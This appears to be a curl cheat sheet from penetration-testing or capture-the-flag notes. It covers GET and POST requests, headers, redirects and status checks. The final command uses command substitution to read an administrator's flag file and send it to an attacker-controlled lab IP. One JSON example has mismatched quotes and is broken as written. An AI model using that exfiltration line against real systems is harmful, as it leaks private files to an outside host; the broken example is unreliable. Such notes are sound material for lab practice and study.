curl http://example.com
# When -d is used it defaults to POST curl -d 'username=user&password=pass' http://example.com/register
# Defaults to 'application/x-www-form-urlencoded' curl -H 'Content-Type: application/json" -d '{"username":"user","password":"pass"}' http://example.com/register
# Defaults to returns just the response body curl -i http://example.com/register
curl -L <URL>
curl <--head | -I> <IP:PORT>
curl -s <URL> -L -o /dev/null -w "%{http_code}"
curl <URL> | json_pp
curl http://10.10.14.10/$(type c:\users\administrator\desktop\flag.txt)
Last updated 10 days ago
Was this helpful?